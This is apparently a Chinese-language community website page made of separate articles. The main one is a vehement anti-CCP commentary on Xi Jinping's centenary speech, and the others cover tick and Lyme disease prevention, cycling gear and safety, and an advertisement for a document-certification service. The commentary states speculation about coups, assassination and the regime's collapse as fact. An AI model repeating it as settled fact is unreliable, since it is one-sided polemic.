中共的政权现在已是岌岌可危,内忧外患不断,随时都有可能倒台,就剩下最后一口气硬是不肯咽下去。每当中共政权出现大危机时,它都有可能会发动对外战争,以转移矛盾,为自己延口气,像中共1979年发动的对越南的战争就是如此,趁机转移国内与党内巨大的矛盾,以延续中共的政权。而且现在习近平搞内卷,什么经济内循环、封锁国门、上山下乡、供销社等等,效仿毛泽东,要让中国回到文革时代,准备搞第二次文化大革命,让中国人重新过回计划经济时代的苦日子,这真不愧是总加速师。他的这一系列操作,别说中国老百姓同不同意,就是中共体制内的,尤其是中共高层的那些过惯了好日子的贪官们,他们子女家人以后不能再出国了,好不容易贪得的巨款,眼睁睁的放在国外花不了,要在国内过以前的苦日子,他们可以说个个都对习近平恨的咬牙切齿。江派势力,便可能会趁这个机会随时发动政变,赶习近平下台,或直接杀了习近平。所以说,中共党内的矛盾斗争已经进入了白热化状态,随时会爆发,习近平如同惊弓之鸟,处处防卫着党内的反叛势力夺权、暗杀,,甚至连身边的人都不敢信任,过着风声鹤唳的日子。除了高度防范党内的反叛势力,他还得时时顶着国内、国际的重重矛盾和危机。在这种危机重重的末日心态下,习近平很可能为了在党内立威,镇住不服从他的势力,同时又为了转移中共面临的国内外巨大矛盾危机,他很可能借台湾问题来孤注一掷,赌一把,以转移危机,延续生命。所以在中共出现重大危机的这两年来,它一直用战机挑衅台湾,叫嚣武力攻台。现在的中共已经基本上是散架子了,大半截已经进了棺材,所以在台湾问题上,它不可能会成功,有这个心而没有这个能力,如果真的发动武力攻台,它很可能因此就把自己送进了坟墓。


而中国的民运人士魏京生则向美国之音表示,习近平在演说时强调中共解放台湾的决心,「实际上不是要真的对台湾怎么怎么样,而是煽动国内的愤青」。魏京生说:「(中国)国内的愤青有两个特点,一个是极端的民族主义,排斥一切外国;一个就是我们要解放台湾等等。中共从来不掩饰对台湾的野心。但是实际上他们也明白,现在要打台湾的话,问题会很大。一个是美国和日本可能会支援台湾,打不下来。一个就是即使打下来了,你没法治理台湾。第三个他们也明白,国内形势不稳,党内形势不稳。在这个时候他怎么敢发动对外战争呢?所以,他的解放台湾是对内鼓舞老百姓、愤青,为自己收买人气,让他们支持中共当局。这是为了国内政治的手法。」


习近平在讲话中有关外交的部分,语气尤其强硬,例如说什么「饱受欺凌时代一去不复返」、「必将碰得头破血流」、「绝不接受教师爷般颐指气使的说教」 、「任何想把中国人民同中国共产党分割、对立起来的企图,都不会得逞」等等。有外界分析称,中共不断指控国际自由社会在试图遏止它的崛起。

魏京生表示,与其说是将矛头对准外国,更应该说还是为了国内政治服务,是说给国内人听的。他说:「我觉得他主要还是为了国内政治。对外呢,他已经搞得一塌糊涂了,战狼外交已经搞得共产党在全世界已经找不到多少朋友了。前一段时间讲要在国际上宣传可爱的形象,但实际上自己又​​放不下战狼外交。因为战狼外交主要不是对外的,是对内的。对外嚷嚷两句,人家不会被你吓住。但他主要是对内的,表现得很强硬,我很伟大,我能对抗世界上的列强。所以就靠对外的强硬态度,来吸引愤青的支持。」


习近平的蠢话与中共的七寸

除了表达要解决台湾外,习近平在中共的百年党庆大会上,还说了如下的蠢话,而引起关注。

据中共喉舌新华社报导,习近平在大会上讲「…江山就是人民、人民就是江山,打江山、守江山,守的是人民的心。中国共产党根基在人民、血脉在人民、力量在人民。 …任何想把中国共产党同中国人民分割开来、对立起来的企图,都是绝不会得逞的!…」

而美国前国务卿蓬佩奥曾公开表示:中共不等于中国人民!

2019年10月30号,美国国务卿蓬佩奥在哈德逊研究所演讲时表示,美国长期珍视与中国人民的友谊,但中共不等于中国人民。中国共产党对外,在贸易、国际秩序等领域挑战美国、挑战世界;对内,践踏中国人的基本人权。美国必须正面迎击,中国人民也不想要共产专制。

他说:「这是一种列宁主义的统治(制度),每个人必须按照共产党上层的意愿,来思考和行动。这不是中国人民想要的未来,热爱自由的所有中国民众都不想要这样的模式。」

「把中国人的基本的政治、经济、文化要求,和共产党、共产主义完全区隔开来。」


「很多事情是符合中国人民的利益,但是中国共产党的做法却是违背这些利益。中美两国人民有基本的共同的利益,但中共在过去几十年,一直都没有按照国际规则办事。」

「我们必须澄清,我们不是针对中国人民,我们希望和中国人民有良好的关系;我们也不是在讨论要阻止中国发展,中国是个很棒的国家,拥有伟大的文明,我们希望中国能加入负责任的世界大国之列;我们在说的是中共政府,特别是中国共产党对待自己人民的方式。」

蓬佩奥在尼克森总统图书馆演讲时表示「共产党不老实,但最大的谎言就是中国共产党声称为中国的十四亿人民发声。中国的人民受到监控、迫害,不敢挺身而出。这与中共的宣称完全相反。」

因为蓬佩奥的这些话击中了中共的要害,可以说打中了中共这条毒蛇的七寸,所以2020年8月26日,中共喉舌新华社为此发布3万字长文,针对蓬佩奥在加州尼克森总统图书馆的演讲进行炮轰,指控他「全盘否定中美关系」,「恶意攻击中共政治制度」,「挑拨中共与中国人民的联系」等等…从这些幼稚可笑的反驳言论,可以看出中共硬是要把十几亿中国人民绑架至死,和它一起进棺材。因为它知道,一旦中国人民清醒过来,明白被它绑架了时,那就一定是中共的末日。


学过历史的都知道,中共是从西方过来的马列幽灵,它就是魔鬼、吸血鬼,它附体、寄生在中国,靠奴役中国、吸中国人的血为生。它从小给中国人洗脑,绑架、残害着十多亿中国人民。而中国是拥有五千多年文明的文明古国,曾经是礼仪之邦,曾经高度的辉煌过。而中共自称自己是中国的母亲,是中国人民的母亲。想想看,中国五千多年了,而中共不足一百年,统治中国才七十年,它让五千岁的中国称它为母亲,这是乱伦!说白了,中共就是一个惨无人性的绑匪,绑架了中国,绑架了所有的中国人。绑匪一旦失去对人质的控制,它就立即会被乱枪击毙,所以它一定要死死控制住所有人质,利用人民的爱国情绪,要让十几亿中国人党国不分,混淆中共与中国的概念!所以中国人一定要清醒过来,可不要患上了斯德哥尔摩综合症,连“中共不等于中国”这个最基本的逻辑概念都不敢承认,那就太悲哀了。


蓬佩奥在历次讲话中多次强调过的:「中国人民不等同于中国共产党,中国共产党最大的谎言是为中国14亿人民代言,中国共产党对中国人民诚实意见的恐惧甚于任何敌人。」

而中共喉舌对蓬佩奥的痛骂,似乎起到了反效果,不少网友留言,「这说明击中了要害!」、「这待遇,史无前例!」、「冲(中)国骂得越凶,说明老美做得越对!」、「是呀,总是自说自话。最有力直接的反驳应该用英文。」、「我国内宣怎么越来越靠近白头山(朝鲜)了?」

还有网友嘲讽,「写了那么多,连我一个热爱祖国并生活了几十年的屁民都没说服。」、「这是了解蓬佩奥到底说啥了的好渠道,还不违法! 」、「赶紧收藏起来」、「终于知道人类公敌说啥了!感谢小编」、「不登报,还不知道人类公敌说了这么多话!」

看来,中国清醒的人不少,而且越来越多,这也是中共最恐惧的。所以它现在制定法律,不让民众接触国际真实信息,翻墙也成了违法犯罪的事,与文革时期的“偷听敌台”罪名同等。因此,有人表示:过去偷听敌台是为了了解国外的信息,现在偷听敌台是为了了解国内的信息。这真是天大的讽刺啊!


中共成了人人唾弃的垃圾

这次中共的百年党庆,中共官媒、大外宣苦心清点谁向中共发去了贺电,但是很悲哀。

西方民主国家领袖是肯定不会向中共党魁习近平发贺电了,在中国,党国一体,在西方,这叫一党专制、愚民、独裁,无法向一个不许人民选择,永远统治国家的政党发出什么贺电,但是中共非常要面子,尤其在习近平要在天安门发表重要讲话的「盛大庆典」时候,没有足够的外国贺电,似乎显得很说不过去的,于是就有「请托」之事,邀请人家发贺电。

外国以国家之名祝贺中共党庆,庆祝一个政党,似乎名不正言不顺。于是,为了「对口」,一些国家以政党的名义向中共发电祝贺,但有些很勉强,明言是为了表示「礼貌」。比如日本执政党自民党就以干事长二阶俊博名义电贺,但产经新闻报导称,根据自民党干部传出的消息,这是应中方的请托,考虑到外交礼仪才发的贺电。新华社报导还强调了日本前自民党总裁河野洋平也发了贺电,日本最大在野党立宪民主党也发了贺电,但是产经新闻报导说,立宪民主党主席枝叶幸男强调,中共对香港、西藏等侵害人权的情况令人深感遗憾,中共建党100周年并非是让人可以举双手祝贺的情况。枝叶还表示,北京与日本距离近,是无法避开的近距离,所以立宪民主党国际局给中共发出礼貌性贺词,但该党事务局实话实说:这也是在收到中方的请托后发出的贺电。


台湾执政党指望不了,在野党能发来贺电也好,但是国民党表示并无先例。最后,新华社发出这样的标题:「连战、洪秀柱、宋楚瑜等台湾各界人士向中共建党百年致贺」,这里面有没有北京「请托」的意思,不得而知。

西方指不上,中方期待最甚的恐怕是俄罗斯,果然,央视网抓住习普视讯会晤时的顺便一句祝贺大肆报导,普京对习近平说,「我以个人的名义向您表示祝贺」。好像没有说,我以俄罗斯国家的名义祝贺。

官媒使用类似「多国政要致电祝贺」这样模糊的字眼来掩饰某种尴尬。看来中共已成为被全世界人民抛弃的垃圾了,但凡正常的人,谁也不想沾惹它。

2021-07-03 / by / in
莱姆病夺命|纽约如何预防蜱虫叮咬和莱姆病|蜱虫叮咬后该怎么办

文|雨荷

莱姆病是纽约市最常见的蜱传疾病。莱姆病的早期症状包括持续数天的皮疹、发烧、头痛、肌肉和关节疼痛以及淋巴结肿大。如果不及时治疗,感染可能会扩散到关节、心脏或神经系统。蜱可携带多种病毒、细菌和原虫,经蜱虫叮咬后,可引起包括蜱瘫痪症、蜱咬热、新型布尼亚病毒感染、莱姆病、森林脑炎、新疆出血热等疾病,严重甚至可以引起死亡。

2021 年 6 月 9 日 ,卫生局提醒所有纽约人,随着夏季临近,人们开始旅行和从事户外活动,保护自己和家人免受蜱传疾病的侵害。在纽约人中诊断出的最常见的蜱传疾病是莱姆病;纽约传染病控制副主任布赖恩·巴肯森 (Bryon Backenson) 说纽约每年约有 8,000 例莱姆病新病例,但他估计纽约人每年会被蜱虫叮咬 40,000 到 50,000 次。

纽约州锡拉丘兹——2020 年 5 月,纽约居民将 442 个蜱虫邮寄到上州医科大学的实验室以检测疾病。今年5月,实验室收到了 1,548 条蜱——是去年数量的三倍多。“蜱虫正在爆炸,”运行测试实验室的Saravanan Thangamani 说。情况变得更糟:今年不仅有更多的蜱虫,而且有更多的蜱虫携带使人类生病的微生物,尤其是导致莱姆病的细菌。

卫生专员 Dave A. Chokshi 博士说:“纽约人应该利用今年的夏季天气外出,但在可能存在蜱虫的地区记住一些基本的预防措施很重要。” “您可以通过使用驱虫剂、剪短草并在进入树木繁茂或高草地区后进行蜱虫检查来保护您的家人和宠物免受蜱虫侵害。”

如何预防蜱叮咬

  • 穿浅色织纹紧密的衣服,以便轻松发现蜱虫。
  • 穿封闭式鞋子、长裤和长袖衬衫。把裤腿塞进袜子或靴子里,把衬衫塞进裤子里。
  • 在户外经常检查衣服和任何暴露的皮肤是否有蜱虫。
  • 考虑使用驱虫剂。
  • 留在干净的、人迹罕至的小径上。走在小径的中心。避开茂密的树林和茂密的区域。
  • 避免直接坐在地上或石墙上。
  • 将长发束在脑后,尤其是在园艺时。
  • 进入室内后尽快洗澡或淋浴(最好在两小时内)洗掉,这样更容易找到可能在你身上的蜱虫。
  • 在一天结束时进行最后的全身蜱虫检查(也检查儿童和宠物),并及时清除蜱虫。

如果被咬伤尽快清除蜱虫,可降低感染风险

  • 用尖头镊子将蜱虫夹住,平稳拉动而不扭曲,直到将蜱头直接从皮肤中取出。
  • 如果发生这种情况,请不要惊慌!嵌入的口器不会传播莱姆病。
  • 不要挤压或挤压蜱虫的身体;这可能会迫使受感染的体液从蜱进入皮肤。
  • 请勿在蜱附着时涂抹凡士林、指甲油或点燃的火柴等物质。它们可能会搅动蜱虫并迫使更多受感染的液体进入皮肤。
  • 去除蜱虫后,用肥皂和水清洗伤口部位和双手,并在该部位涂抹外用酒精或防腐剂。
  • 在接下来的两周内观察咬伤部位是否有任何扩大的红疹或流感样症状的迹象。
  • 咨询您的 PCP,将您的蜱虫送到实验室进行病原体检测。

    蜱虫叮咬反应

  • 是小于 1-2 英寸的小红色肿块;
  • 出现在咬伤部位,通常在腹股沟、腰带区域、腋窝或膝盖后面
  • 观察 24-48 小时后尺寸不要扩大
  • 触摸时可能会感到温暖和柔软可以持续数天,甚至数周

    去除咬伤您的附着蜱后该怎么办

    一般而言,CDC 不建议在被蜱叮咬后预防性​​服用抗生素以预防蜱传疾病。但是,在某些情况下,被蜱虫叮咬后
    服用一剂强力霉素可能会降低您患莱姆病的风险。如果您居住在莱姆病常见的地区,请考虑与您的医疗保健提供者讨论预防性强力霉素和其他选择。

    蜱虫叮咬后的几周内该做什么

    识别蜱叮咬后的皮疹重要的是要了解皮疹在早期莱姆病中并不总是存在或容易识别,这可能导致诊断和治疗延迟请参阅我们的各种莱姆病皮疹表现海报,作为有用的识别工具。如果出现红斑皮疹相容的皮疹应立即进行治疗莱姆病在这个第一阶段得到最成功的治疗。如果您有可疑的皮疹或症状持续存在,请立即就医。

    诊断莱姆病

    1.莱姆病是医生或护士通过检查患者做出的临床诊断。
    2.急性莱姆病不是实验室诊断;在莱姆病的最初几周,莱姆病血液检测呈阴性并不能排除莱姆病。
    3.许多患有莱姆病的人有类似流感的疾病,并且没有皮疹。
    4.发烧、疼痛以及突然和严重的疲劳可能是急性莱姆病的主要症状。
    5.莱姆病与呼吸道“感冒”不同。
    6.流鼻涕和明显的咳嗽不是莱姆病的症状。
    7.在感染的前几周,血液检查不能准确诊断莱姆病,因此警惕寻找症状是识别早期莱姆病病例的更可靠方法。

2021-07-02 / by / in , , , , ,
自行车的骑行装备有哪些?购买时都需要注意哪些问题?纽约骑行的市民

文/Coco

骑自行车作为一种有氧的健身方式,经济方便又环保。在纽约,周末骑乘锻炼、沿途欣赏美丽风景的市民们,也是一道亮丽的风景线。疫情以来,还有更多的人选择骑自行车健身。那么,对于准备加入骑自行车运动的新手们来说,自行车骑行的装备有有哪些呢?以下便是自行车骑行装备的清单:

1.自行车骑行的必备装备:头盔、骑行服、手套、护肘护膝、水壶、车前包、码表、电子喇叭等;

2.夜间和小短途骑行的必备装备:骑行眼镜、前灯,尾灯等;

3.可选择的骑行装备:运动相机、头巾/面巾、锁鞋,心率带,踏频速度计等。

一、自行车骑行的必备装备

1.自行车

骑行的核心自然是人和车。那么,买什么样的自行车好呢?在美国,通常大家买自行车都选“Made in USA”,质量好,性价高。平时在城市里骑行的、看到的,基本上都是一些美国本土品牌的自行车。

普通民众通常选择3种自行车:公路自行车,山地自行车,公路越野自行车。

公路自行车——车身较轻,轮胎纤细

1)公路自行车:价格较高。公路自行车车身较轻,轮胎纤细,通常好的路况,公路车速度比山地车快。因为公路车大多为降手柄式,所以新手需要练习和适应。

2)山地自行车:轮胎较宽,稍显笨重,但非常适用于远骑、和在凹凸不平的山路上行驶。其悬挂装置能吸收路面冲击,行驶更加稳定舒适。遇到状况比较差的路,山地车制动力和避震能力比公路车强,一般都能过;而公路车有时还需人扛。

山地自行车——轮胎较宽,稍显笨重

3)公路越野自行车:是公路车和山地车的结合。骑乘感觉比公路车重,比山地车轻。适用于在城市中骑乘,也能进行稍远程的骑游。

建议大家最好买大牌子的自行车,质量有保障。即便是有什么问题,维修点也多,维修和配件购买都很方便。不过除了换刹车片、后轮外胎,通常没有其他题。大家要根据自己的使用目的、经济条件来选择了。用做锻炼的工具性能好就OK了,无需攀比。

2.头盔:

安全第一,头盔非常重要,摔倒的刹那,头盔可有效保护大脑,减轻伤害。

选择头盔首先要选适合自己头围的。第二,好的头盔要选择一体成型,但很多杂牌都不是,不建议购买。头盔是一次性产品,摔车后断裂处势必影响坚固,不能坚固地保护头部,就要果断换掉。顶级头盔的价格也远比不上一次开颅手术的钱。

3.骑行服

骑行服是非常必要的骑行装备,因为根据人体生理特点骑乘时间越长,身体某些部位会疼痛,特别是男生,专业骑行服会缓解不少。骑行服吸汗,干得快,颜色醒目有一定的安全性提示效果。通常衣服后腰处一般有三个口袋,能胜任短途放置重要的小的随身物件。

4.手套

手套是个非常重要的骑行装备,防汗、防滑、防擦伤。不仅在摔倒时有保护手的作用,还可以避免骑乘时因出汗手滑而脱把。通常选择半指手套就行,冬天可选全指手套。

选择手套的时候需要注意:尺寸要适合自己的掌宽、稍紧的舒适性好。除了美观、透气性以外,还要注意缓震面积大小、拭汗区等问题。

 5.护肘护膝:

最好这些装备都带上,摔个车仅仅疼一会儿而已,否则,破皮结痂洗澡生活都不方便。

自行车骑行的必备装备——头盔、骑行服、护膝护腕、手套

说完人身装备,再来说车上的装备

6.码表

码表可显示时间、时速、、里程、骑行时间等,使人能更好地掌握体能、骑行情况。

选择码表要看屏幕的size、电池续航时间、是否支持功率计、和码表端预估功率,能否在手机端完成;是否支持直连STRAVA、超快同步速度;是否支持导出fit等等功能。

码表架,最好下面带转接的,方便挂车灯。

7.骑行水壶/壶架:

专用的骑行水壶是插放在自行车杆上的,在骑车过程中方便取放。如果你不想用一次就洗一次水壶,直接买个可以调节大小的水壶架,直接放矿泉水瓶子就OK。

8.车前包

放手机、身份证、钱包、钥匙等重要物件。如果有腰包的话更好,毕竟重要物品随身携带更好。

9.电子喇叭:

吵闹的地方、或紧急情况,喇叭比铃声好很多。

以上的必要的装备, 不管什么情况都需要。

以下是供选择的装备——是为了适应不同情况,如夜骑和小长途的情况等。

二、自行车骑行可选择性的装备

1.头巾、面巾:如遇施工沙多,灰多,可防晒防灰尘,这是需要考虑的配件。主要作用是吸汗,防止汗液滴入眼睛;一般买骑行装备会送头巾、面巾,防晒防寒防蚊虫。可选自己喜欢的颜色和款式。

2.骑行眼镜:骑行专用的眼镜可防风沙、防强光、防止蚊虫等异物吹进眼睛;骑行用的运动型眼镜贴合眉毛处,可挡住部分的汗水;另外最好选择偏光镜,镜片的涂层可帮助眼睛适应白天和黑夜。

3.心率带:通常适用于公路车玩家,也适用于有一定年纪的、心脏不是很好、三高的骑手,随时看心率。

4.运动相机,行车记录仪:

运动相机(可穿戴式相机)是在身体上安装,是手工拍摄的摄像机,循环录像可续航2小时。。一边享受骑乘,一边能在无手工简单地拍摄有魄力的影像。小型尺寸的动相机是户外以及旅行的推荐。头盔上安装能拍摄与自己相同的视线的风景以及风景,也可把相机固定在车把上。

5锁鞋:踏面积大,最大的好处就是纠正错误的踩踏姿势。

6.夜骑必备的装备——车灯:以备耽误行程走夜路或者穿越隧道使用,分前灯、后灯。

夜骑的必须安装车灯以及尾灯,专用的车前灯带有截止线,像汽车近光灯一样,有一条灯光切线,既能照明,又不会晃到人的眼睛,更加安全。车前灯尽量不要强光手电,因为它会使对面的人暂时失明,容易造成事故。车灯一般有底座可以直接接在码表架下面,安装方便、美观。

前灯:是夜间必要的,特别在没有路灯的情况下,没有前灯的不要夜骑;

尾灯:尾灯也非常重要,尾灯可以一闪一闪的,是安全提示信号灯; 另外,建议买红色的后灯,能更容易的被后面的驾驶员发现。尾灯能达到续航时间长,有一定的防水性就足够了。

车灯有直接装纽扣电池的和USB充电的两种。如果是有经常夜骑的话,建议用这种USB充电的更加实用。

7骑行雨衣:远骑会遇到雨天,防雨防雪又保暖

8 骑行驮包:汽车有后备箱,远骑时驮包相当于可容纳很多备品,结实防水,拆卸方便。将远骑物品毛巾、牙刷牙膏、洗发水沐浴露:备胎和各种杂物的等收纳进去。小容量,十升以下差不多就够用了。

三、小长途的必备装备:(修理工具)

1.便携式打气筒:补气、换备胎的必备物品

2.备用内胎:远骑的话,要准备备胎,以防爆胎。

3.刹车片:刹车是非常重要的安全问题,远骑的话,出发前必需查一下刹车,还要备用一副刹车片。

4.多功能修车工具:远骑要有常用的修车技能和工具,如补胎、调刹车片,六角用于补爆胎等;有种工具罐,可收纳1个备胎、两根撬胎棒、一个雷音打气筒等一个组合便携式工具。

5.链条油:大概每200公里涂一次油

6.挡泥板:远骑会到下雨天,了防止泥水溅到身上,就要装上前后的挡泥板

小长途的必备装备——医用品

四、小长途的必备装备——医用品:

处理擦伤的创可贴、消毒药水、纱布、棉签等。

骑游必备物品既要齐全,又要尽量缩减物品以减轻路上的负担,是件非常考验耐力和细心程度的事。

新冠疫情流行造成了人们生活方式的改变:注重人生,放慢节奏,亲近大自然,骑自行车热包括各种职业类型、和不同年龄段的人。在附近挑个好地方,骑上个把小时,既愉悦了身心,也可清除疫情以来宅在家里的郁气。

2021-06-30 / 1 Comment / by / in
美国骑自行车好享受 新手上路4大注意事项|自行车交通规则 |行前安全|自行车健康事项

文/Coco

骑自行车在美国是一项比较普及的大众性运动,方便不受限的锻炼方式是很多纽约人首选的重要原因。虽然是骑自行车是一种比较安全自由的运动方式,但还是有很多不确定因素的存在,骑自行车的注意事项常被忽略。随着骑车人数增多,事故也不少。所以,了解的骑自行车的注意事项、加强骑自行车的骑乘安全意识十分必要。以下是骑自行车的注意事项,希望给自行车骑乘的新手一些帮助。

一、骑自行车在遵守交通规则方面的注意事项:

1.在美国,自行车有专用车道,相同需要遵行交通规则。比如,遵守红绿信号灯规则、车道标记、要避让行人、不可逆行行驶、转弯时打手势、禁止并行,不要违反交通规则,在机动车道骑行!即使是在不熟悉的、认为没人的路上,也不行。发现有逆行的车过来减速避让。切记:不逆行,不闯红灯!

2.骑车经过停驶的汽车、机动车时要减速、离汽车远点!以防汽车里的人突然开门等事故,或刮蹭到了汽车要高额赔偿的。切记:与停在路边的车至少保持一米间隔,且不讲责任,但是痛的一定是骑行者自己。

3.骑行过程要遵守交通规则,对自己和他人的生命安全负责,要控制好速度,下坡稳住车速!下山的时候,也不要跟前面车友过近。又不是在比赛,命只有一条,请注意控制速度。即使是戴了护具,摔车也会带来很大的疼痛。

4.停车避让:夜晚车行更是要注意,如果公路对面的车辆前光灯使我们短暂看不清路况,这种时候停车避让是最佳选择。

5.骑车需注意路上的行人和汽车,需要保持时刻警惕以防止突发状况,要稳当骑行。面对街头巷尾、十字路口、人多车多,要慢!十次事故九次快,单车骑行也是同样的道理。下坡不要太快,转弯不要太快,视力不好不能太快。

6.夜间必须开头灯尾灯并安装反射板等等。头灯尾灯以及反光镜的装置是不可缺的,以便引起汽车、机动车司机等发现自行车的存在,提高行车的安全性。前后灯,山区及长途骑行时有必要穿反光马甲在。

7.不要尝试上高架:有人在呼啸而行高架上骑车,大卡车、汽车贴着耳朵风驰电掣而过,没事也会被吓个半死。

二、骑自行车前的注意事项:

1.每次骑行前必须要检查自行车的状况,将车身在地面颠一颠,倾听车身有什么异声,别是检查车闸是否好用。如果行驶途中听到异音,一定要停车检查修护,以避免小零件问题扩大。

2.骑行必须要佩戴头盔,以防万一。手套,护腕护膝也是必备的行车装备,非常重要。骑自行车时遇到坑洼的地势会造成颠簸,严重的可能会导致失去平衡摔倒、骨折等。头盔,手套,护腕护膝等护具大大的降低伤身体伤害。

3.不要忘记钱和手机:手机用于如遇突发情况、紧急情况之后的联络、位置导航等,特别要注意的是电池电量。另外,建议携带运动饮料,能够补充糖分的食物。

4.骑乘尽量不穿长裤、扩腿裤,避免裤腿刮蹭牙盘、或绞进牙盘中造成危险。

5.骑车出行前,一定要做好规划,尽量不要赶夜路,不要在没有路灯的情况夜骑。夜骑,要注意安全距离;晚上路过一些无路灯的村镇公路时一定要保持注意力,减慢车速。

三、骑自行车路上的注意事项:

1.公路车骑行比较安全,但公路车速度快,下坡的稳定性差。骑行时要专心。千万别分不要戴耳机专注听音乐!以免听不到汽车鸣笛;

2.不要在天气不好时出去骑车。在极端天气里,如下雨,下雪等天气条件下都不适宜骑车。下雨天别骑太快!如果路上有水和冰,一定要提前减速,否则到冰面上再减速,就迟了;

3.夏季骑乘要注意涂防晒油,以防晒伤;如果骑行出汗会造成身体异味应尽快洗澡,以免打扰他人;

4.秋季骑行必须戴护膝,防止受凉和放坡时腿部抽筋、膝盖部在热凉骤变时易产生湿寒。多带两件衣服,中途休息多汗时穿上以免感冒;

5.冬季白天较短,黄昏之前结束骑行;同时要注意耳朵、手指、脚指等冻伤;

6.公路车不能及时制动,一定不要冒险超车。特别是前方有速度较慢的大车而且弯路多,非常危险。比如停下来休息;

7.下坡遇到弯路、沙子路况要提前减速,极易摔车。注意避让路上尖利石子,容易使车爆胎,速度快时爆胎更危险;

8.注意野生动物,尤其是经过树林杂草丛附近,要提前减速。以免有动物突然闯到路中;

9.小短途骑游随时携带工具、备用内胎、补胎套装和打气筒等以便事自行处理。对于新手来讲,要逐步学习自行解决。

四、骑自行车健康方面的注意事项:

1.骑车时量力而行也尤为重要,骑车姿势不正确,或长时间的骑行会造成颈椎和膝盖疲劳。解决方法:骑车时间较长时,要注意变换骑车姿势。

2.骑车时上肢长时间的手臂动作,血液循环就会相对减少,引起上肢酸胀无力,如握笔写字、用筷进餐会受影响,即“腕尺管综合症”。所以,要骑乘一段时间,就要调整休息。

3.骑乘中饮水切勿牛饮,应该每次小口多次饮用。餐后不宜剧烈运动,短暂应休息再骑行。

4.要穿骑行裤:骑自行车会可能会压迫到生理部位,影响血液循环,男性会引起疼痛或病症。穿骑行裤可缓解。

5.带面巾:可防尘防灰、防飞虫异物进入鼻口,避免因环境污染、尾气、尘土多的路况,引起呼吸道不适 。

骑自行车是非常普遍的健身方式,也是比较安全的交通工具,但因骑车而受磕碰、挫伤、摔伤的也不少。骑行安全这件事,虽然经常说“注意安全”“路上小心”,但一些骑乘的注意事项常常被忽略,所以希望以上细节能提醒您的安全意识,快乐骑行。

2021-06-30 / by / in , , , , , , ,
代办三级认证直通车 快速立即取证 949-954-7996 美国领事认证 三级认证/公证 紧急回国签证 | 无病危证明签证 跨区紧急签证 紧急旅行证 洛杉矶领馆签证 跨区三级认证 旧金山三级认证 迈阿密三级认证

目前受Covid-19疫情影响,美国华人要想回国一趟不容易。在美国的华人如果无法亲自到中国办理事务,需要领事认证(也称为三级认证)各类财产委托书、身份证件声明书、美国出具的出生证、结婚证、学位证明、护照等各类证件翻译和公证/认证,要怎么办理呢?另外,国内有紧急事件,必须回国处理的话,怎么办理紧急签证、跨区签证又快又省力?

什么是领事认证(三级认证/公证)

领事认证是指外交、领事机构或法律授权机构通过确认公文书上最终签署人身份及其签字和印章属实来证明文书可靠性的活动。

根据国际惯例,办理领事认证的目的是使一国出具的公证书或有关文书能在另一国境内被有关当局所承认且具有法律效力。不致因怀疑文书上的印章和签字是否属实而影响文书的法律效力。

比如在美国的华人,如果无法亲自去中国办理事务,要用《委托书》委托他人办理,或者就某些事务通过《声明书》做出声明。而《委托书》、《声明书》等文件必须经过领事认证(又称三级公证/认证)才能被中国有关部门接受在中国使用。

另外,美国机构出具的文件,比如美国的出生证、公司注册等,也要经过领事认证(三级认证)才能在中国使用。

所以办理领事认证(三级认证/公证)的目的,就是使在美国出具的公证书能在中国境内被承认并且具有法律效力。

为什么领事认证也称为三级认证呢?

1.  由于办理领事认证之前,文书要先经由当地的地方公证员(Notary Public)对文件进行公证(即第一级公证)。

2. 然后进行州务卿认证Authentication(即第二级认证);

3. 最后,由中国驻美国使馆对州务卿认证的文书进行证明Legalization(即第三级认证)。

经过以上三个级别的公证/认证后,领事认证完成。

请注意的是,有关文书是否会被中国有关机构接受还要取决于文书本身的内容记载是否符合有关部门要求或其它条件。

送往中国香港、澳门地区使用的有关文书,无需办理领事认证。有关文书在美国当地公证员公证,并经有关州务卿或美国国务院认证办公室确认后即可使用。

领事认证(三级认证/公证)的常见的个人文件

  • 各种委托书

    • 如房产、股票等财产买卖委托
    • 户口办理委托
    • 律师事务委托
  • 各种声明书

    • 如放弃财产继承权声明
    • 护照更新证明
    • 单身声明书
  • 美国机构出具的各种政府文件

    • 美国出生证
    • 美国结婚证
    • 美国离婚证
    • 美国死亡证明
    • 美国法庭判决
    • 美国护照
    • 美国学位证
    • 美国无犯罪记录
    • 美国医生执照
    • 美国在职证明
    • 身体健康检查证明,等等

不少人在提交申请时因为翻译文本不合规范等原因被要求补充材料,使得申请过程拖得很长。其实,找一家有资质且经验丰富的办理机构来做这些事,就能免去这些麻烦,为您省下来回奔波州政府和使领馆的时间和精力。

美域办理三级认证/公证的优势

美域留学与翻译公司就是这样一家经验丰富且值得信赖的公司。自从2009年成为美国翻译师协会的会员以来(会员号:249353),美域已有十多年的翻译公证及三级认证经验。

美域公司吸纳了一群高素质的翻译人员,员工绝大多数毕业于美国一流大学,拥有硕士或博士学位。公司员工都具备优秀的双语能力,在美国学习、工作和生活多年,并至少深度掌握一门专业知识,所学专业涵盖了财经管理、理工、医学、法律、教育及社会人文科学等诸多领域。

 

美域公司有多年代办各个领馆辖区文件的领事认证,包括办理全部三个级别的公证认证的丰富经验。您不必往返州政府和中国领馆。

1、三级认证/公证(领事认证)和翻译可一步到位全部办理。

2、各种委托和声明事项内容繁多,形式多样。中国使领馆对文件内容和身份证件要求严格,不符合要求的会被拒收。美域公司积累了多年的丰富经验,提供有效的咨询和建议,免您徒劳奔波。

3、免费提供模板和中国使领馆认证申请表。如房产买卖委托、户口办理委托、放弃继承声明、护照国籍声明、单身声明等。您只需准备好自己的身份证件和公证(认证)的基本信息,其它都由美域免费提供,您可省心省力省时间。

4、为特殊客户,美域可提供上门公证服务,和代客邮寄服务。

办理领事认证(三级认证)所需材料

  1. 需要认证(公证)的文件原件。
  2. 逐项填妥的中国驻外使领馆领事认证申请表1份。(美域公司可提供“领事认证申请表”)。
  3. 申请人的有效身份证件 (护照、美国驾照等)。
  4. 若办理公司文件领事认证(三级认证),还应提交公司法人代表的有效身份证件及能证明法人代表身份的文件。

注:有的文件(如美国出生证、结婚证等)可以邮寄办理;有的文件(如委托书、声明书),是否可以邮寄办理要看具体情况。美域公司有经验丰富的经办人,耐心细致地解答您的问题。

多国签证 跨区紧急签证 紧急旅行证

多国签证

除了领事认证,美域为客户提供多国签证服务,包括中国、美国、加拿大、英国、日本、申根、欧盟等国的签证服务。

办理不同国家签证的文书要求和办理时长各不相同,具体可以咨询以下美域各办公室。

回国紧急签证

加州洛杉矶办公室在休斯顿使馆关闭后接手疫情期间相应的各领使馆紧急签证、紧急旅行证业务。疫情期间,洛杉矶领馆紧急签证开始相对宽松,美域可以承接没有病危证明以及省级商务部邀请函的跨区紧急签证等领事业务。

